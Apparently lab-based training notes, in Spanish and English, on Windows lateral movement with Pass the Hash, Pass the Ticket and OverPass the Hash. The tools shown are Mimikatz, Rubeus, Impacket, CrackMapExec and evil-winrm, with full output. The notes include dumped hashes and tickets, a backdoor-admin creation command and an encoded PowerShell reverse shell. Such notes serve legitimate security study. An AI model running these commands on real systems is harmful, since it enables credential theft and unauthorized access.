Windows Lateral Movement

Pass the Hash (PtH)

Pass the Hash with Mimikatz (Windows)

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt

  • Mimikatz

  • /user- El nombre de usuario que queremos suplantar.

  • /rc4 o /NTLM- Hash NTLM de la contraseña del usuario.

  • /domain- Dominio al que pertenece el usuario a suplantar. En el caso de una cuenta de usuario local, podemos utilizar el nombre del equipo, localhost o un punto (.).

  • /run- El programa que queremos ejecutar con el contexto del usuario (si no se especifica, ejecutará cmd.exe).

Pass the Hash from Windows Using Mimikatz:

c:\tools> mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:testing.local /run:cmd.exe" exit
user    : julio
domain  : testing.local
program : cmd.exe
impers. : no
NTLM    : 64F12CDDAA88057E06A81B54E73B949B
  |  PID  8404
  |  TID  4268
  |  LSA Process was already R/W
  |  LUID 0 ; 5218172 (00000000:004f9f7c)
  \_ msv1_0   - data copy @ 0000028FC91AB510 : OK !
  \_ kerberos - data copy @ 0000028FC964F288
   \_ des_cbc_md4       -> null
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 0000028FC9673AE8 (32) -> null

Pass the Hash with PowerShell Invoke-TheHash (Windows)

Otra herramienta que podemos utilizar para realizar ataques Pass the Hash en Windows es Invoke-TheHash

  • Target- Nombre de host o dirección IP del objetivo.

  • Username- Nombre de usuario a utilizar para la autenticación.

  • Domain- Dominio que se utilizará para la autenticación. Este parámetro no es necesario con cuentas locales ni cuando se utiliza @dominio después del nombre de usuario.

  • Hash- Hash de contraseña NTLM para autenticación. Esta función aceptará el formato LM:NTLM o NTLM.

  • Command- Comando que se ejecutará en el destino. Si no se especifica un comando, la función comprobará si el nombre de usuario y el hash tienen acceso a WMI en el destino.

PS c:\htb> cd C:\tools\Invoke-TheHash\

PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1

PS c:\tools\Invoke-TheHash> Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose

VERBOSE: [+] inlanefreight.htb\julio successfully authenticated on 172.16.1.10
VERBOSE: inlanefreight.htb\julio has Service Control Manager write privilege on 172.16.1.10
VERBOSE: Service EGDKNNLQVOLFHRQTQMAU created on 172.16.1.10
VERBOSE: [*] Trying to execute command on 172.16.1.10
[+] Command executed with service EGDKNNLQVOLFHRQTQMAU on 172.16.1.10
VERBOSE: Service EGDKNNLQVOLFHRQTQMAU deleted on 172.16.1.10
PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAzACIALAA4ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

[+] Command executed with process id 520 on DC01

Pass the Hash with Impacket (Linux)

Pass the Hash with Impacket PsExec

$ impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.129.201.126.....
[*] Found writable share ADMIN$
[*] Uploading file SLUBMRXK.exe
[*] Opening SVCManager on 10.129.201.126.....
[*] Creating service AdzX on 10.129.201.126.....
[*] Starting service AdzX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1415]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Pass the Hash with CrackMapExec (Linux)

Pass the Hash with CrackMapExec

# crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453

CrackMapExec - Command Execution

# crackmapexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami

Pass the Hash with evil-winrm (Linux)

Pass the Hash with evil-winrm

$ evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

Pass the Hash with RDP (Linux)

Enable Restricted Admin Mode to Allow PtH

c:\tools> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Pass the Hash Using RDP

xfreerdp  /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B

Los límites de UAC pasan el hash para las cuentas locales

El UAC (Control de cuentas de usuario) limita la capacidad de los usuarios locales para realizar operaciones de administración remota. Cuando la clave de registro HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicyse establece en 0, significa que la cuenta de administrador local integrada (RID-500, "Administrador") es la única cuenta local a la que se le permite realizar tareas de administración remota. Si se establece en 1, también se permite a los demás administradores locales.

Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy .

Pass the Ticket (PtT) from Windows

Otro método para moverse lateralmente en un entorno de Active Directory se denomina Pass the Ticket (PtT) attack. En este ataque, utilizamos un ticket de Kerberos robado para movernos lateralmente en lugar de un hash de contraseña NTLM.

Kerberos Protocol Refresher

El sistema de autenticación Kerberos se basa en tickets. La idea central detrás de Kerberos no es dar una contraseña de cuenta a cada servicio que se utiliza. En cambio, Kerberos conserva todos los tickets en el sistema local y presenta a cada servicio solo el ticket específico para ese servicio, lo que evita que un ticket se utilice para otro propósito.

  • El TGT - Ticket Granting Ticketes el primer ticket obtenido en un sistema Kerberos. El TGT permite al cliente obtener tickets Kerberos adicionales o TGS.

  • Los usuarios los TGS - Ticket Granting Servicesolicitan cuando quieren utilizar un servicio. Estos tickets permiten que los servicios verifiquen la identidad del usuario.

Cuando un usuario solicita un ticket TGT, debe autenticarse en el controlador de dominio cifrando la marca de tiempo actual con el hash de su contraseña. Una vez que el controlador de dominio valida la identidad del usuario (porque el dominio conoce el hash de la contraseña del usuario, lo que significa que puede descifrar la marca de tiempo), envía al usuario un TGT para futuras solicitudes. Una vez que el usuario tiene su ticket, no tiene que demostrar quién es con su contraseña.

Si el usuario desea conectarse a una base de datos MSSQL, solicitará un Ticket Granting Service (TGS) al Centro de Distribución de Claves (KDC), presentando su Ticket Granting Ticket (TGT). Luego entregará el TGS al servidor de base de datos MSSQL para su autenticación.

Pass the Ticket (PtT) Attack

Necesitamos un ticket Kerberos válido para realizar una operación Pass the Ticket (PtT). Puede ser:

  • Ticket de servicio (TGS - Ticket Granting Service) para permitir el acceso a un recurso en particular.

  • Ticket Granting Ticket (TGT), que utilizamos para solicitar tickets de servicio para acceder a cualquier recurso para el cual el usuario tenga privilegios.

Harvesting Kerberos Tickets from Windows

Mimikatz - Export Tickets

c:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 329278 (00000000:0005063e)
Session           : Network from 0
User Name         : DC01$
Domain            : HTB
Logon Server      : (null)
Logon Time        : 7/12/2022 9:39:55 AM
SID               : S-1-5-18

         * Username : DC01$
         * Domain   : inlanefreight.htb
         * Password : (null)
         
        Group 0 - Ticket Granting Service

        Group 1 - Client Ticket ?
         [00000000]
           Start/End/MaxRenew: 7/12/2022 9:39:55 AM ; 7/12/2022 7:39:54 PM ;
           Service Name (02) : LDAP ; DC01.inlanefreight.htb ; inlanefreight.htb ; @ inlanefreight.htb
           Target Name  (--) : @ inlanefreight.htb
           Client Name  (01) : DC01$ ; @ inlanefreight.htb
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             31cfa427a01e10f6e09492f2e8ddf7f74c79a5ef6b725569e19d614a35a69c07
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 5        [...]
           * Saved to file [0;5063e]-1-0-40a50000-DC01$@LDAP-DC01.inlanefreight.htb.kirbi !

        Group 2 - Ticket Granting Ticket

<SNIP>

mimikatz # exit
Bye!
c:\tools> dir *.kirbi

Directory: c:\tools

Mode                LastWriteTime         Length Name
----                -------------         ------ ----

<SNIP>

-a----        7/12/2022   9:44 AM           1445 [0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
-a----        7/12/2022   9:44 AM           1565 [0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi

<SNIP>

Rubeus - Export Tickets

c:\tools> Rubeus.exe dump /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0


Action: Dump Kerberos Ticket Data (All Users)

[*] Current LUID    : 0x6c680
    ServiceName           :  krbtgt/inlanefreight.htb
    ServiceRealm          :  inlanefreight.htb
    UserName              :  DC01$
    UserRealm             :  inlanefreight.htb
    StartTime             :  7/12/2022 9:39:54 AM
    EndTime               :  7/12/2022 7:39:54 PM
    RenewTill             :  7/19/2022 9:39:54 AM
    Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
    KeyType               :  aes256_cts_hmac_sha1
    Base64(key)           :  KWBMpM4BjenjTniwH0xw8FhvbFSf+SBVZJJcWgUKi3w=
    Base64EncodedTicket   :

doIE1jCCBNKgAwIBBaEDAgEWooID7TCCA+lhggPlMIID4aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT02jggOvMIIDq6ADAgESoQMCAQKiggOdBIIDmUE/AWlM6VlpGv+Gfvn6bHXrpRjRbsgcw9beSqS2ihO+FY/2Rr0g0iHowOYOgn7EBV3JYEDTNZS2ErKNLVOh0/TczLexQk+bKTMh55oNNQDVzmarvzByKYC0XRTjb1jPuVz4exraxGEBTgJYUunCy/R5agIa6xuuGUvXL+6AbHLvMb+ObdU7Dyn9eXruBscIBX5k3D3S5sNuEnm1sHVsGuDBAN5Ko6kZQRTx22A+lZZD12ymv9rh8S41z0+pfINdXx/VQAxYRL5QKdjbndchgpJro4mdzuEiu8wYOxbpJdzMANSSQiep+wOTUMgimcHCCCrhXdyR7VQoRjjdmTrKbPVGltBOAWQOrFs6YK1OdxBles1GEibRnaoT9qwEmXOa4ICzhjHgph36TQIwoRC+zjPMZl9lf+qtpuOQK86aG7Uwv7eyxwSa1/H0mi5B+un2xKaRmj/mZHXPdT7B5Ruwct93F2zQQ1mKIH0qLZO1Zv/G0IrycXxoE5MxMLERhbPl4Vx1XZGJk2a3m8BmsSZJt/++rw7YE/vmQiW6FZBO/2uzMgPJK9xI8kaJvTOmfJQwVlJslsjY2RAVGly1B0Y80UjeN8iVmKCk3Jvz4QUCLK2zZPWKCn+qMTtvXBqx80VH1hyS8FwU3oh90IqNS1VFbDjZdEQpBGCE/mrbQ2E/rGDKyGvIZfCo7t+kuaCivnY8TTPFszVMKTDSZ2WhFtO2fipId+shPjk3RLI89BT4+TDzGYKU2ipkXm5cEUnNis4znYVjGSIKhtrHltnBO3d1pw402xVJ5lbT+yJpzcEc5N7xBkymYLHAbM9DnDpJ963RN/0FcZDusDdorHA1DxNUCHQgvK17iametKsz6Vgw0zVySsPp/wZ/tssglp5UU6in1Bq91hA2c35l8M1oGkCqiQrfY8x3GNpMPixwBdd2OU1xwn/gaon2fpWEPFzKgDRtKe1FfTjoEySGr38QSs1+JkVk0HTRUbx9Nnq6w3W+D1p+FSCRZyCF/H1ahT9o0IRkFiOj0Cud5wyyEDom08wOmgwxK0D/0aisBTRzmZrSfG7Kjm9/yNmLB5va1yD3IyFiMreZZ2WRpNyK0G6L4H7NBZPcxIgE/Cxx/KduYTPnBDvwb6uUDMcZR83lVAQ5NyHHaHUOjoWsawHraI4uYgmCqXYN7yYmJPKNDI290GMbn1zIPSSL82V3hRbOO8CZNP/f64haRlR63GJBGaOB1DCB0aADAgEAooHJBIHGfYHDMIHAoIG9MIG6MIG3oCswKaADAgESoSIEIClgTKTOAY3p4054sB9McPBYb2xUn/kgVWSSXFoFCot8oQkbB0hUQi5DT02iEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDIyMDcxMjEzMzk1NFqmERgPMjAyMjA3MTIyMzM5NTRapxEYDzIwMjIwNzE5MTMzOTU0WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdIVEIuQ09N

  UserName                 : plaintext
  Domain                   : HTB
  LogonId                  : 0x6c680
  UserSID                  : S-1-5-21-228825152-3134732153-3833540767-1107
  AuthenticationPackage    : Kerberos
  LogonType                : Interactive
  LogonTime                : 7/12/2022 9:42:15 AM
  LogonServer              : DC01
  LogonServerDNSDomain     : inlanefreight.htb
  UserPrincipalName        : plaintext@inlanefreight.htb


    ServiceName           :  krbtgt/inlanefreight.htb
    ServiceRealm          :  inlanefreight.htb
    UserName              :  plaintext
    UserRealm             :  inlanefreight.htb
    StartTime             :  7/12/2022 9:42:15 AM
    EndTime               :  7/12/2022 7:42:15 PM
    RenewTill             :  7/19/2022 9:42:15 AM
    Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType               :  aes256_cts_hmac_sha1
    Base64(key)           :  2NN3wdC4FfpQunUUgK+MZO8f20xtXF0dbmIagWP0Uu0=
    Base64EncodedTicket   :

doIE9jCCBPKgAwIBBaEDAgEWooIECTCCBAVhggQBMIID/aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT02jggPLMIIDx6ADAgESoQMCAQKiggO5BIIDtc6ptErl3sAxJsqVTkV84/IcqkpopGPYMWzPcXaZgPK9hL0579FGJEBXX+Ae90rOcpbrbErMr52WEVa/E2vVsf37546ScP0+9LLgwOAoLLkmXAUqP4zJw47nFjbZQ3PHs+vt6LI1UnGZoaUNcn1xI7VasrDoFakj/ZH+GZ7EjgpBQFDZy0acNL8cK0AIBIe8fBF5K7gDPQugXaB6diwoVzaO/E/p8m3t35CR1PqutI5SiPUNim0s/snipaQnyuAZzOqFmhwPPujdwOtm1jvrmKV1zKcEo2CrMb5xmdoVkSn4L6AlX328K0+OUILS5GOe2gX6Tv1zw1F9ANtEZF6FfUk9A6E0dc/OznzApNlRqnJ0dq45mD643HbewZTV8YKS/lUovZ6WsjsyOy6UGKj+qF8WsOK1YsO0rW4ebWJOnrtZoJXryXYDf+mZ43yKcS10etHsq1B2/XejadVr1ZY7HKoZKi3gOx3ghk8foGPfWE6kLmwWnT16COWVI69D9pnxjHVXKbB5BpQWAFUtEGNlj7zzWTPEtZMVGeTQOZ0FfWPRS+EgLmxUc47GSVON7jhOTx3KJDmE7WHGsYzkWtKFxKEWMNxIC03P7r9seEo5RjS/WLant4FCPI+0S/tasTp6GGP30lbZT31WQER49KmSC75jnfT/9lXMVPHsA3VGG2uwGXbq1H8UkiR0ltyD99zDVTmYZ1aP4y63F3Av9cg3dTnz60hNb7H+AFtfCjHGWdwpf9HZ0u0HlBHSA7pYADoJ9+ioDghL+cqzPn96VyDcqbauwX/FqC/udT+cgmkYFzSIzDhZv6EQmjUL4b2DFL/Mh8BfHnFCHLJdAVRdHlLEEl1MdK9/089O06kD3qlE6s4hewHwqDy39ORxAHHQBFPU211nhuU4Jofb97d7tYxn8f8c5WxZmk1nPILyAI8u9z0nbOVbdZdNtBg5sEX+IRYyY7o0z9hWJXpDPuk0ksDgDckPWtFvVqX6Cd05yP2OdbNEeWns9JV2D5zdS7Q8UMhVo7z4GlFhT/eOopfPc0bxLoOv7y4fvwhkFh/9LfKu6MLFneNff0Duzjv9DQOFd1oGEnA4MblzOcBscoH7CuscQQ8F5xUCf72BVY5mShq8S89FG9GtYotmEUe/j+Zk6QlGYVGcnNcDxIRRuyI1qJZxCLzKnL1xcKBF4RblLcUtkYDT+mZlCSvwWgpieq1VpQg42Cjhxz/+xVW4Vm7cBwpMc77Yd1+QFv0wBAq5BHvPJI4hCVPs7QejgdgwgdWgAwIBAKKBzQSByn2BxzCBxKCBwTCBvjCBu6ArMCmgAwIBEqEiBCDY03fB0LgV+lC6dRSAr4xk7x/bTG1cXR1uYhqBY/RS7aEJGwdIVEIuQ09NohYwFKADAgEBoQ0wCxsJcGxhaW50ZXh0owcDBQBA4QAApREYDzIwMjIwNzEyMTM0MjE1WqYRGA8yMDIyMDcxMjIzNDIxNVqnERgPMjAyMjA3MTkxMzQyMTVaqAkbB0hUQi5DT02pHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT00=

<SNIP>

Pass the Key or OverPass the Hash

La técnica tradicional Pass the Hash (PtH)implica reutilizar un hash de contraseña NTLM que no toca Kerberos. El enfoque Pass the Keyor OverPass the Hashconvierte un hash/clave (rc4_hmac, aes256_cts_hmac_sha1, etc.) para un usuario unido a un dominio en un hash completo Ticket-Granting-Ticket (TGT). Esta técnica fue desarrollada por Benjamin Delpy y Skip Duckwall en su presentación Abusing Microsoft Kerberos - Sorry you guys don't get it . Will Schroeder también adaptó su proyecto para crear la herramienta Rubeus .

Para falsificar nuestros tickets, necesitamos tener el hash del usuario; podemos usar Mimikatz para volcar todas las claves de cifrado Kerberos de los usuarios mediante el módulo sekurlsa::ekeys. Este módulo enumerará todos los tipos de claves presentes para el paquete Kerberos.

Mimikatz - Extract Kerberos Keys

c:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys
<SNIP>

Authentication Id : 0 ; 444066 (00000000:0006c6a2)
Session           : Interactive from 1
User Name         : plaintext
Domain            : HTB
Logon Server      : DC01
Logon Time        : 7/12/2022 9:42:15 AM
SID               : S-1-5-21-228825152-3134732153-3833540767-1107

         * Username : plaintext
         * Domain   : inlanefreight.htb
         * Password : (null)
         * Key List :
           aes256_hmac       b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
           rc4_hmac_nt       3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_old      3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_md4           3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_nt_exp   3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_old_exp  3f74aa8f08f712f09cd5177b5c1ce50f
<SNIP>

Mimikatz - Pass the Key or OverPass the Hash

c:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f

user    : plaintext
domain  : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM    : 3f74aa8f08f712f09cd5177b5c1ce50f
  |  PID  1128
  |  TID  3268
  |  LSA Process is now R/W
  |  LUID 0 ; 3414364 (00000000:0034195c)
  \_ msv1_0   - data copy @ 000001C7DBC0B630 : OK !
  \_ kerberos - data copy @ 000001C7E20EE578
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 000001C7E2136BC8 (32) -> null

Esto creará una nueva cmd.exeventana que podemos usar para solicitar acceso a cualquier servicio que queramos en el contexto del usuario objetivo.

Para falsificar un ticket usando Rubeus, podemos usar el módulo asktgtcon el nombre de usuario, el dominio y el hash que puede ser /rc4, /aes128, /aes256o /des. En el siguiente ejemplo, usamos el hash aes256 de la información que recopilamos usando Mimikatz sekurlsa::ekeys.

Rubeus - Pass the Key or OverPass the Hash

c:\tools> Rubeus.exe  asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/LSsa2xrdJJir1eVugDFCoGFT2hDcYcpRdifXw67WofDM6Z6utsha+4bL0z6QN+tdpPlNQFwjuWmBrZtpS9TcCblotYvDHa0aLVsroW/fqXJ4KIV2tVfbVIDJvPkgdNAbhp6NvlbzeakR1oO5RTm7wtRXeTirfo6C9Ap0HnctlHAd+Qnvo2jGUPP6GHIhdlaM+QShdJtzBEeY/xIrORiiylYcBvOoir8mFEzNpQgYADmbTmg+c7/NgNO8Qj4AjrbGjVf/QWLlGc7sH9+tARi/Gn0cGKDK481A0zz+9C5huC9ZoNJ/18rWfJEb4P2kjlgDI0/fauT5xN+3NlmFVv0FSC8/909pUnovy1KkQaMgXkbFjlxeheoPrP6S/TrEQ8xKMyrz9jqs3ENh//q738lxSo8J2rZmv1QHy+wmUKif4DUwPyb4AHgSgCCUUppIFB3UeKjqB5srqHR78YeAWgY7pgqKpKkEomy922BtNprk2iLV1cM0trZGSk6XJ/H+JuLHI5DkuhkjZQbb1kpMA2CAFkEwdL9zkfrsrdIBpwtaki8pvcBPOzAjXzB7MWvhyAQevHCT9y6iDEEvV7fsF/B5xHXiw3Ur3P0xuCS4K/Nf4GC5PIahivW3jkDWn3g/0nl1K9YYX7cfgXQH9/inPS0OF1doslQfT0VUHTzx8vG3H25vtc2mPrfIwfUzmReLuZH8GCvt4p2BAbHLKx6j/HPa4+YPmV0GyCv9iICucSwdNXK53Q8tPjpjROha4AGjaK50yY8lgknRA4dYl7+O2+j4K/lBWZHy+IPgt3TO7YFoPJIEuHtARqigF5UzG1S+mefTmqpuHmoq72KtidINHqi+GvsvALbmSBQaRUXsJW/Lf17WXNXmjeeQWemTxlysFs1uRw9JlPYsGkXFh3fQ2ngax7JrKiO1/zDNf6cvRpuygQRHMOo5bnWgB2E7hVmXm2BTimE7axWcmopbIkEi165VOy/M+pagrzZDLTiLQOP/X8D6G35+srSr4YBWX4524/Nx7rPFCggxIXEU4zq3Ln1KMT9H7efDh+h0yNSXMVqBSCZLx6h3Fm2vNPRDdDrq7uz5UbgqFoR2tgvEOSpeBG5twl4MSh6VA7LwFi2usqqXzuPgqySjA1nPuvfy0Nd14GrJFWo6eDWoOy2ruhAYtaAtYC6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEXoRIEENEzis1B3YAUCjJPPsZjlduhCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUAQOEAAKURGA8yMDIyMDcxMjE1MjgyNlqmERgPMjAyMjA3MTMwMTI4MjZapxEYDzIwMjIwNzE5MTUyODI2WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t

  ServiceName           :  krbtgt/inlanefreight.htb
  ServiceRealm          :  inlanefreight.htb
  UserName              :  plaintext
  UserRealm             :  inlanefreight.htb
  StartTime             :  7/12/2022 11:28:26 AM
  EndTime               :  7/12/2022 9:28:26 PM
  RenewTill             :  7/19/2022 11:28:26 AM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  0TOKzUHdgBQKMk8+xmOV2w==

Pass the Ticket (PtT)

Rubeus Pass the Ticket

c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKh
      EzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpcGX6rbUlYxOWeMmu/zb
      f7vGgDj/g+P5zzLbr+XTIPG0kI2WCOlAFCQqz84yQd6IRcEeGjG4YX/9ezJogYNtiLnY6YPkqlQaG1Nn
      pAQBZMIhs01EH62hJR7W5XN57Tm0OLF6OFPWAXncUNaM4/aeoAkLQHZurQlZFDtPrypkwNFQ0pI60NP2
      9H98JGtKKQ9PQWnMXY7Fc/5j1nXAMVj+Q5Uu5mKGTtqHnJcsjh6waE3Vnm77PMilL1OvH3Om1bXKNNan
      JNCgb4E9ms2XhO0XiOFv1h4P0MBEOmMJ9gHnsh4Yh1HyYkU+e0H7oywRqTcsIg1qadE+gIhTcR31M5mX
      5TkMCoPmyEIk2MpO8SwxdGYaye+lTZc55uW1Q8u8qrgHKZoKWk/M1DCvUR4v6dg114UEUhp7WwhbCEtg
